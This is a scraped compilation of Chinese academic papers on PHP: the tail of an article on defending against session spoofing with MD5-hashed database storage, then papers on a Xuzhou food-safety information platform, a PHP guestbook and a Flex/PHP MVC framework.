从图1中我们可以看到, 由于session中内容为明文存储的。当服务器权限没设置好的情况下session文件中的内容是可以直接看到的。Session文件欺骗的原理是攻击者在取得部分服务器权限后, 在session_save_path中找到已通过验证的session文件或者上传伪造的session文件, 然后在客户端修改cookie中的session_id, 从而欺骗服务器来获取某种更高的权限。

3.2 防范方法

1) 更改PHPSESSID名称

Session的默认名称是PHPSESSID, 此变量会保存在cookie中, 可通过Session_name函数来更改PHPSESSID名称。如:session_name ("mysessionid") 。

2) 将Session用MD5加密后以数据库方式保存

先打开php的配置文件php.ini, 将session.save_handler=files改为session.save_handler=user, 以保证不采用文件的方式存储session。然后建立数据库Session_db, 并建立数据表session_table。以My SQL为例, 用如下命令:

Create database session_db;//建立数据库session_db

Create table session_table (session_id char (32) primary key, session_data varchar (1000) ) ;//创建数据表session_table

利用PHP的函数sessin_set_save_handler () 函数[9], 可将PHP中的Session保存到数据库中。其格式如下:

session_set_save_handler ("open", "close", "read", "writ e", "destroy", "gc")

编写Session处理程序如下:

执行session_start () 时调用open、read函数, 退出session时调用close、write函数。在执行session_destroy () 时调用destroy函数, 另外, gc函数被操作系统进程间中调用。

其中open ($save_path, $session_name) 所包含的参数应分别对应php.ini文件中的session.save_path选项和session.name选项, 上述参数$id是访问网页时随机自动生产的Session ID值, 在write或read时都经过了MD5算法生成对应的Hash值存入数据库或判断其是否与数据库中的Session_id相等, 这样即使数据表的信息被看到攻击者也无法知到Session id值。

将上述代码保存为sess_mysql.php文件。在需要session的时候, 在文件的第一行用include包含这个文件即可。

4 结束语

Session的欺骗和攻击是PHP安全隐患之一, 也是较常用的攻击手段, 目前, 而针对Session攻击的防范技术已经有很大的进步, 本文在已有的研究上加入MD5算法, 使得PHP在防范Session欺骗上得到一定的提高, 相信会大大减少Session的欺骗和攻击风险。从而提高PHP的安全性。

参考文献

[1]易红军.MD5算法与数字签名[J].计算机与数字工程, 武汉:中国船舶重工集团公司第七0九研究所, 2006.5, pp.44-46

[2]毛熠, 陈娜.MD5算法的研究与改进[J].计算机工程, 上海:华东计算机技术研究所;上海计算机学会, 2012.12, pp.111-114, 118

[3]宁轲.网站session欺骗攻击与防范[J].科技传媒, 北京:中国科技新闻学会, 2012.10, pp.214-215

[4]洪琪, 周琴琴等.基于Hash函数的MD5算法研究和硬件实现[J].计算机工程, 上海:华东计算机技术研究所;上海计算机学会, 2013.3, pp.137-141

[5]荀苇, 姚旺生等.MD5算法在PHP+MySQL中的应用[J].舰船电子工程, 武汉:中国船舶重工集团公司第七0九研究所2007.6, pp.58-60

[6]张海林等.PHP网站的攻击与安全防范[J].计算机安全, 北京:信息产业部基础产品发展研究中心, 2007.1, pp.73-75

[7]周华中, 张少娟等.Session在Web编程中的应用[J].微机发展, 陕西省西安市:陕西省计算机学会, 2002.3, pp.1-4

[8]郑江波.PHP中Session机制的研究与应用[J].荆门职业技术学院学报, 湖北:荆楚理工学院, 2007.3, pp.37-41

PHP安全 篇8

随着人们生活水平的不断提高,食品质量安全是人们广泛关注的一个焦点问题,影响食品安全问题的因素较多,包括从食品原料的生产、加工、贮藏、运输到最终消费等各个环节。要解决食品质量安全问题,应从食品安全体系的建立和完善、开展或加强政府的管理工作、食品企业加强自律和加强质量管理工作等方面入手。

2. 系统流程分析与设计

本系统是根据徐州质量技术监督局对食品生产型企业监管要求,集成多源信息融合技术、食品生产许可证标准查询技术、动态监督抽查监管信息技术,构建全面有效的徐州市食品和农产品质量安全公共信息服务平台,实现徐州市食品和农产品生产企业的动态监管。

本系统包括前台功能模块和后台管理模块,前台功能模块提供了法律法规政策、生产许可程序办理流程及相关知识、质量认证信息、相关标准查询、专家咨询、企业监管信息、QS信息查询等功能。同时也为后台管理人员提供了对应信息维护和管理的功能,包括企业信息以及监管信息的动态录入等。

在前台模块中,有3种角色,分别为普通游客、注册会员和审核员。普通游客可以查看法律法规,生产许可流程,查询企业QS基本信息,获知企业生产所需标准等功能。注册会员不但拥有普通游客的权限,而且还拥有更多权限,如下载相关QS产品信息标准,查询QS获证企业详细信息等。审核员的权限是在注册会员基础上又增加了审核员专区权限,审核员可以在审核员专区阅读核查通知、审查结果通报等一些相关工作信息。功能结构如图1所示。

在后台模块中,后台管理员除对相关的板块进行新闻添加、编辑和删除外,还可以对注册会员和审核员的信息进行添加、更改和删除。功能结构如图2所示。

3. 系统的开发技术

(1)开发的语言环境。

系统使用PHP和MYSQL技术进行开发。PHP是英文超文本预处理器的字母缩写,被广泛应用的开放源代码的多用途脚本语言,它可嵌入到HTML中,尤其适合Web开发。

用户通过浏览器向服务器请求PHP文件,Apache在服务器上的用户文档发布目录下查找浏览器所请求的PHP文件,若找不到,则向浏览器返回错误信息,否则,将其提交给PHP解释器解释执行,PHP解释器对该PHP文件进行语法分析,若发现语法错误,则经Apache返回错误信息到浏览器,否则执行该PHP程序将PHP程序执行结果经Apache返回到浏览器,浏览器对返回的结果进行解释、执行,执行的结果显示在浏览器窗口中。

My SQL是一个小型关系型数据库管理系统,开发者为瑞典My SQL AB公司。目前,My SQL被广泛地应用在Internet上的中小型网站中。由于其体积小、速度快、总体拥有成本低,尤其是开放源码这一特点,许多中小型网站为了降低网站总体拥有成本而选择了My SQL作为网站数据库。

(2)生成静态页面技术。

静态页面是指在服务器端确实存在的仅含HTML以及JS, CSS等客户端运行脚本的页面。它的处理方式是:由客户端提出请求,请求某一页面———WEB服务器确认并载入某一页面———WEB服务器将该页面以包的形式传递回浏览器。由这一过程,我们对比一下动态页面,即可方现。动态页面需由WEB服务器的PHP解析器进行解析,而且通常还需连接数据库,进行数据库存取操作,然后才能形成HTML语言信息包;而静态页面,无须解析,无须连接数据库,直接发送,可大大减轻服务器压力,提高服务器负载能力,大幅提高页面打开速度和网站整体打开速度。

(3) Ajax无刷新技术。

专家咨询栏目提供的是食品方面的专家在线解答网友所提出的问题,传统情况下,如果在咨询栏目发表评论,需要刷新整个页面,这样影响了互动的效果。我们把Ajax技术应用在专家咨询栏目,达到了不要刷新屏幕就可以在网页中跟专家进行交流,给用户带来更好的体验。

4. 结束语

徐州食品和农产品质量安全公共信息服务平台实施以来,公示徐州市食品企业信息921家,公示信息里包含企业的QS号码、生产能力、产品范围、执行标准等,并且公示了徐州质量技术监督局近期对这些企业的监督抽查结果,更好的实现了政府和社会的共同监管。

参考文献

[1]王月桥.上海世博会进口食品质量安全追溯系统的研究与设计[J].信息与电脑, 2011 (2) .

[2]陈椒.食品安全与食品供应链管理[J].上海企业, 2005 (7) .

PHP设计留言本 篇9

目前许多网站使用网络服务商提供的留言本,但功能比较简单,如注册的用户可以发表留言,在前台可以查看留言,版主在后台只能对留言只能进行简单地管理(增加留言,删除留言等)。本文介绍的留言本具有更强大的功能,实现了留言检索、回复留言、批量删除留言、敏感词过滤等。

2 数据库设计

PHP设计程序时,往往采用MySQL作为后台数据库。MySQL是完全网络化的跨平台的关系数据库管理系统,它的特点主要有:功能强大,支持跨平台,运行速度快,安全性高,成本低,数据库容量大,支持强大的内置函数等。本系统数据库名称为lyb,主要包括两张表,库结构如下。

2.1 留言信息表:lyxx

如表1所示。

2.2 回复留言表:hfly

如表2所示。

3 程序实现

3.1 数据库连接

为了便于调用程和程序的修改,将数据库连接的功能放置在一个函数中,其代码如下。

3.2 留言检索

信息检索是对数据库中数据按照指定的条件进行查询,可以快速定位所要查找的信息。普通用户在前台输入关键词,如“高兴”,单击“查询”按钮,则将与关键词匹配的所有信息显示在另外一个页面中。查询的结果主要有2种显示形式:带版主回复的留言信息;无版主回复的留言信息;一般信息的检索要使用带有Like关键字的查询语句。LIKE关键字需要指定一些通配符,如常用的“%”符号表示由零个或更多字符组成的任意字符串。若要查询留言信息包含“高兴”的关键字,则SQL语句为“select*from lyxx where lynr like‘%高兴’%”。程序涉及到的关键代码如下。

3.3 回复留言

版主凭密码登陆后台管理首页面,该页面以分页的形式显示留言的全部信息,如标题、昵称、发布时间等。在留言标题上设置超级链接,当单击留言标题时,将该留言对应的编号传递给数据处理页chuli.php。使用insert语句将版主的回复信息添加至回复留言表中,当前记录的编号,使用update语句将留言信息表中对应的回复标记字段的值设为1,从而完成版主回复留言的功能。部分代码如下。

3.4 批量删除留言

普通留言本不具有批量删除的功能,只能实现单条记录的删除。在后台管理页面中,在每条留言记录的前面增加一个复选框,其名称属性使用数组来存放,最后一条记录的下面设置一个删除按钮,点击该按钮时,则将数据提交pldel.php进行处理,主要通过遍历复选框数组中的元素,来判断某条留言记录是否选中。部分代码如下。

3.5 敏感词过滤

敏感词是网站管理者为正常经营发展,减少不必要的纷争,消除不良影响,而人为设定的一些较易引起人们歧义思维的词汇,如宗教信仰敏感词汇等。本留言本能对用户发表的留言进行过滤,若发表的留言包含设定的敏感词,则禁止留言内容的添加。敏感词的过滤主要通过pre_match()函数实现,该函数的功能是用来在字符串中搜索所有与给出的正则表达式匹配的内容,有四个参数:第一个参数pattern为必要参数,指定需要匹配的正则表达式;第二个参数subject为必要参数,指定输入的字符串;第三个参数matchs为可选参数,输出的结果为数组;第四个参数flags为可选参数,标记为PREG_OFFSET_CAPTURE时,表示对每个出现的匹配结果返回其附属的字符串偏移量。程序中涉及到的部分代码如下。

4 总结

留言本通过后台数据库MySQL为用户和版主之间建立了互动的联系,应用于企业或学校的网站可以加强信息的沟通和交流。PHP设计的留言本响应速度快,运行比较稳定。本程序经在linux环境下调试运行正常,对于初学者在windows环境下使用组合包进行调试。

参考文献

[1]陆军.PHP+MySQL经典案例剖析[M].北京:清华大学出版社,2007.

PHP安全 篇10

关键词:MVC;PHP;FLEX;框架

中图分类号:TP314 文献标识码:A文章编号:1007-9599 (2010) 04-0000-02

MVC Framework Application&Study Based on Flex&PHP

Xu Yingzhong,Chen Wenzhu,Zhang Lingxiao

(Central China Normal University,Wuhan430079,China)

Abstract:MVC(Model-View-Controller) is a classic,sophisticated and widely used programming design pattern.Compared with traditional software development model,it has a better performance of decoupling, reusablitiy,maintainability,extendibility and so on.This paper proposes a hybrid MVC framework which combines two MVC frameworks - Thinkphp based on PHP and PureMVC based on Flex,and discusses the efficiency of communication between server and client implemented by Amfphp and HttpService respectively.The empirical analysis and experimental results show that Amfphp outperforms the latter.The conclusion is helpful especially under the relatively poor network environment.

Keywords:MVC;PHP;Flex;Framework

MVC框架是在开发分工越来越明确的情况下产生的,MVC结构提供了一种按功能对各种对象进行层次分割的方法(这些对象是用来维护和表现数据的),其目的是为了将各对象间的耦合程度减至最小,MVC是程序设计发展的一种趋势。

一、MVC设计模式

MVC模式是1970年由Trygve Reenskaug在施乐公司的研究中心提出的。最早的参考例程代码是用smalltalk80编写的。它最初是用来解决应用软件中的用户图形界面的交互问题的。MVC设计模式的基本原理是把应用程序的数据和业务逻辑、数据的外观呈现以及对数据的操作划分到不同的实体中去,这些实体称为模型、视图和控制器。

MVC模式的核心思想是分离责任,使得数据、视图和逻辑部分分开,模型层关心的只是应用的状态以及业务逻辑而不用考虑数据如何展现给用户;视图层关心的是的只是如何根据模型的变化为用户提供用户界面;控制层则负责接收用户的输入然后将其交给对应的模型,它并不关心用户如何输入以及这些输入数据是如何作用于模型的。

模型(Model):业务逻辑和数据。

视图(View):用户界面。

控制器(Controller):接收、识别请求并在模型和视图间建立映射关系。

图1.MVC模型原理

如图展示的是MVC模型的基本流程,首先,用户通过视图输入发送请求,控制器接收到请求之后会调用对应的模型来执行一定的业务逻辑,执行完后模型返回数据,此时控制器再调用对应的视图,视图会负责对模型数据进行格式化最终展现给用户。MVC是程序设计的一种思想或模式,对于各种不同编程语言的不同的MVC框架,由于这些平台自身具有的一些特性,它们在实现方式上可能会有一些不同,比如在Flex中,更推荐直接使用数据绑定的方式来对视图进行更新。

二、基于MVC设计模式的ThinkPHP框架

(一)Thinkphp简介

目前主流的基于PHP的MVC框架有Zend Framework、CakePHP、QeePHP等等,ThinkPHP也是其中之一,它借鉴了许多国外的优秀框架和模式,融合了Structs的Action思想、JSP的TagLib、RoR的ORM映射与ActiveRecord模式,封装了CURD和一些常用数据库操作,在项目配置、类库导入、模版引擎、查询语言、数据验证、视图模型、项目编译、缓存机制、SEO支持、分布式数据库、多数据库连接和切换、认证机制和扩展性方面均有不错的表现。

(二)Thinkphp工作流程

图3.Thinkphp工作流程

如图,当用户向服务器发出了一个HTTP请求之后,前端控制器会对URL进行分析,调用Dispatcher将任务派发给对应的模块(动作控制器,Controller),接着该模块会根据业务流程的需要选择性地调用业务模型(Model),并将用户提交的数据传递给它,接着调用视图(View)对业务模型中返回的数据进行格式化输出,最终把输出结果返回至客户端。

三、PureMVC框架

(一)Flex技术

Flex是一种基于标准编程模型的高效RIA开发产品集,最初由Macromedia公司在2004年发布。一个完整的Flex程序由MXML代码和ActionScript代码组成。MXML与HTML类似,是基于XML的标记语言,MXML用来在FLEX中设计用户界面,Flex Framework中提供了非常丰富的UI组件。和Flash一样,Flex项目最终会被编译成*.swf文件,由Flash Player解释运行。

(二)PureMVC简介

PureMVC是一款通用型MVC框架,最初基于ActionScript,现在已经移植到几乎所有的主流平台。在PureMVC中,同样是通过MVC三层设计来降低模块间的耦合性,Model、View和Controller分别对应3个类,即Proxy、Mediator、Command,另外,Façade层将这三者统一起来,使用过程中只需要通过一个Façade类来对它们进行操作,这样能够简化应用程序的开发。

(三)pureMVC工作流程

图4.PureMVC工作流程

如图4,程序初始化时,ApplicationFacade会负责初始化整个MVC,包括生成Proxy、注册各个Command和Mediator。当UI Component与用户交互时,UI组件会将Event派发出去,对应的Mediator接收到Event后,可以生成Notification并通过该Notification的Body携带参数,然后通过PureMVC的Notification系统广播该消息,注册了这个Notification(或称对该Notification感兴趣)的Command或者Mediator将会作出响应,Mediator可以更新UI,Command可以操作Proxy去更新数据,与服务端的交互是在Proxy内部完成的,当数据更新后,Proxy可以再发出一个Notification,对其感兴趣的Command或者Mediator会作出响应,如此,PureMVC不断运行下去。

四、整合应用

(一)Flex与PHP的通信方式

Flex使用RPC(Remote Procedure Call)方式与外部程序交互数据,RPC通信是一个异步过程,客户端把数据请求发送给服务端然后等待返回结果。Flex与服务端的通信方式有三种:

WebService是网络应用程序的标准,它向外部暴露能够通过Web进行调用的API集合,我们可以通过调用其API来获取需要的数据。HttpService是最常用的一种方式,通过向服务端提交POST或GET形式的请求来获取数据。Remote Object是Flex中一种特殊的通信方式,使用Adobe自定义的二进制数据通信协议AMF(Action Message Format)与服务端交互,可以交换任意类型的数据,包括对象、图片等等。

(二)框架整合

图5.PureMVC与Thinkphp整合框架

如图5,整合后的PureMVC与Thinkphp,使用PureMVC来替代Thinkphp的视图(View)部分,在工作时两个框架各司其职,pureMVC负责前端的用户交互,Thinkphp负责服务端的业务逻辑和数据,gateway.php相当于服务端的入口,客户端的proxy负责与其通信,通信方式可以是HttpService、WebService以及Remote Object。

五、结束语

随着富互联网技术的迅速发展,出现了客户端MVC框架,本文分别探讨了基于PHP的Thinkphp框架和基于Flex的PureMVC框架,提出了整合应用服务端与客户端MVC框架的方案,并对AMFPHP和HttpService方式下客户端与服务端的通信效率进行了实验和测试,当通信量较大或者是网络通信环境比较差的时候AMF对通信质量的改善是很有帮助的。

参考文献:

[1]叶建芳.应用FLEX技术构建RIA系统[D].浙江大学,2006

[2]JasonE.Sweat.php|architect’s Guide to PHP Design Patterns[M].Toronto:Macro Tabini & Associates,2005

[3]袁梅冷,黄烟波,黄家林.J2EE 应用模型中MVC软件体系结构的研究与应用[J].计算机应用研究,2003,20,3:147-149

作者简介:

上一篇:选择性分支下一篇:黄金交易